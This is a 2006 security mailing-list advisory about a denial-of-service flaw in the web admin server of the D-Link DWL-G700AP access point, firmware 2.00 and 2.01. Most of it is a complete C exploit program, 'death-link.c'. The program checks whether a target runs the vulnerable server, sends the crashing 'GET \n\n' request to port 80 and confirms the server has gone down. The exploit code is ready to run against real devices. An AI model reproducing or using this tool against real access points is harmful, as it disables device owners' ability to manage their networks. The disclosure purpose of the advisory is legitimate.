[NEWS] D-Link DWL-G700AP httpd DoS

SecuriTeam <[email protected]> 19 Feb 2006 15:50:25 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
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  D-Link DWL-G700AP httpd DoS
------------------------------------------------------------------------


SUMMARY

"The  <http://www.dlink.com/products/?sec=0&pid=326> DWL-G700AP is Wi-Fi 
IEEE 802.11g compliant, meaning that it can connect and interoperate with 
other 802.11g compatible wireless client devices. "

By crafting a special HTTP GET string, attackers can DoS the D-Link 
DWL-G700A and cause the HTTP server to crash.

DETAILS

Vulnerable Systems:
 * D-Link DWL-G700AP firmware version 2.00
 * D-Link DWL-G700AP firmware version 2.01

The DWL-G700AP is an access point from D-Link with a configuration 
interface using HTTP service which is managed from a HTTPD called "CAMEO".
This web server is very easy to DoS because all you have to do is send the 
AP the following string: "GET \n\n".

Exploit:
/*
                 death-link.c
                 ------------------------
                 written by l0om
                                 WWW.EXCLUDED.ORG
                 ------------------------
                 exploit tested on firmware: v2.00 and the latest v2.01
                 remote DoS exploit for the CAMEO-httpd which is running 
on the D-Link
                 Accesspoint DWL-G700AP. After executing this the 
accesspoint cannot be
                 configured anymore because the only way to administrate 
the AP is the
                 administration with your browser. you have to reboot the 
box to get the
                 httpd started again.

                 have phun!

                 // some greetings
                 maximilian, Prof. J. Dealer, Theldens, Commander Jansen, 
ole, detach,
                 mattball, molke, murfie, vy99
                 excluded.org people, IT31 people

                 // the guys who made exploiting possible with buying this 
AP
                 joerres, hermanns, schubert

*/
                 

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define                  DOSSTRING               "GET \n\n"
#define                  TARGET                          "CAMEO-httpd"
#define                  DESTPORT                80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
                 int fd, i, check = 0;
                 char *ip = NULL;

                 header();

                 if(argc > 1)
                                 for(i = 1; i < argc; i++)
                                                 if(argv[i][0] == '-')
                                                                 
switch(argv[i][1]) {
                                                                           
      case 'o':
                                                                           
                      check = 2;
                                                                           
                      break;
                                                                           
      case 'c':
                                                                           
                      check = 1;
                                                                           
                      break;
                                                                           
      case 'h':
                                                                           
                      help();
                                                                           
                      break;
                                                                           
      default:
                                                                           
                      printf("\t>> %s << unknown option\n",argv[i]);
                                                                           
                      exit(-1);
                                                                 }
                                                 else ip = argv[i];

                 if(ip == NULL) help();

                 if(check) {
                                 printf("\tchecking target... "); 
fflush(stdout);
                                 i = check_httpd(ip);
                                 if(i <= 0) {
                                                 printf("faild! ");
                                                 if(!i) printf("invalid 
target webserver\n");
                                                 else printf("webserver 
already dead?\n");
                                                 exit(-1);
                                 }
                                 else printf("done! valid victim 
detected\n");
                                 if(check == 2) return 0;
                 }

                 printf("\tsending DoS... "); fflush(stdout);
                 if(DoS(ip) <= 0) {
                                 printf("faild!\n");
                                 return -1;
                 } else printf("done!\n");

                 sleep(1);
                 printf("\tchecking webserver status... "); 
fflush(stdout);
                 if(!alive(ip)) printf("%s DEAD\n",TARGET);
                 else printf("%s on %s is still alive :( \n",TARGET,ip);

                 return 0;
}

int check_httpd(char *ip)
{
                 int sockfd, nbytes, len, i = 0;
                 char buf[500], pattern[] = TARGET, *ptr;
                 struct sockaddr_in servaddr;

                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                                 perror("socket");
                                 exit(-1);
                 }
                 servaddr.sin_family = AF_INET;
                 servaddr.sin_port = htons(DESTPORT);
                 servaddr.sin_addr.s_addr = inet_addr(ip);

                 if(connect(sockfd, (struct sockaddr *)&servaddr, 
sizeof(servaddr)) == -1)
                                 return -1;
                                 
                 if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))
                                 return 0;
                 else nbytes = read(sockfd, buf, 500);
                 
                 len = strlen(pattern);
                 ptr = buf;

                 while(nbytes--) {
                                 if(*ptr == pattern[i])
                                                 i++;
                                 else i = 0;
                                 if(i == len) return 1;
                                 else ptr++;
                 }
                 return 0;
}

int alive(char *ip)
{
                 int sockfd, nbytes, len, i = 0;
                 char buf[500], pattern[] = TARGET, *ptr;
                 struct sockaddr_in servaddr;

                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                                 perror("socket");
                                 exit(-1);
                 }
                 servaddr.sin_family = AF_INET;
                 servaddr.sin_port = htons(DESTPORT);
                 servaddr.sin_addr.s_addr = inet_addr(ip);

                 if(connect(sockfd, (struct sockaddr *)&servaddr, 
sizeof(servaddr)) == -1)
                                 return 0;
                 else return 1;
}

int DoS(char *ip)
{
                 int sockfd, nbytes, len, i = 0;
                 char buf[500], pattern[] = TARGET, *ptr;
                 struct sockaddr_in servaddr;

                 if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                                 perror("socket");
                                 exit(-1);
                 }
                 servaddr.sin_family = AF_INET;
                 servaddr.sin_port = htons(DESTPORT);
                 servaddr.sin_addr.s_addr = inet_addr(ip);

                 if(connect(sockfd, (struct sockaddr *)&servaddr, 
sizeof(servaddr)) == -1)
                                 return 0;
                 else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}

void help(void)
{
                 printf("\tdeath-link [options] <ip-address>\n");
                 printf("\t-o: ONLY CHECK for valid target\n");
                 printf("\t-c: check for valid target\n");
                 printf("\t-h: help\n");
                 exit(0);
}

void header(void)
{
                 printf("\tdeath-link - written by l0om\n");
                 printf("\t     WWW.EXCLUDED.ORG\n");
                 printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> l0om.
The original article can be found at:  
<http://www.securityfocus.com/archive/1/425169/30/0/threaded> 
http://www.securityfocus.com/archive/1/425169/30/0/threaded



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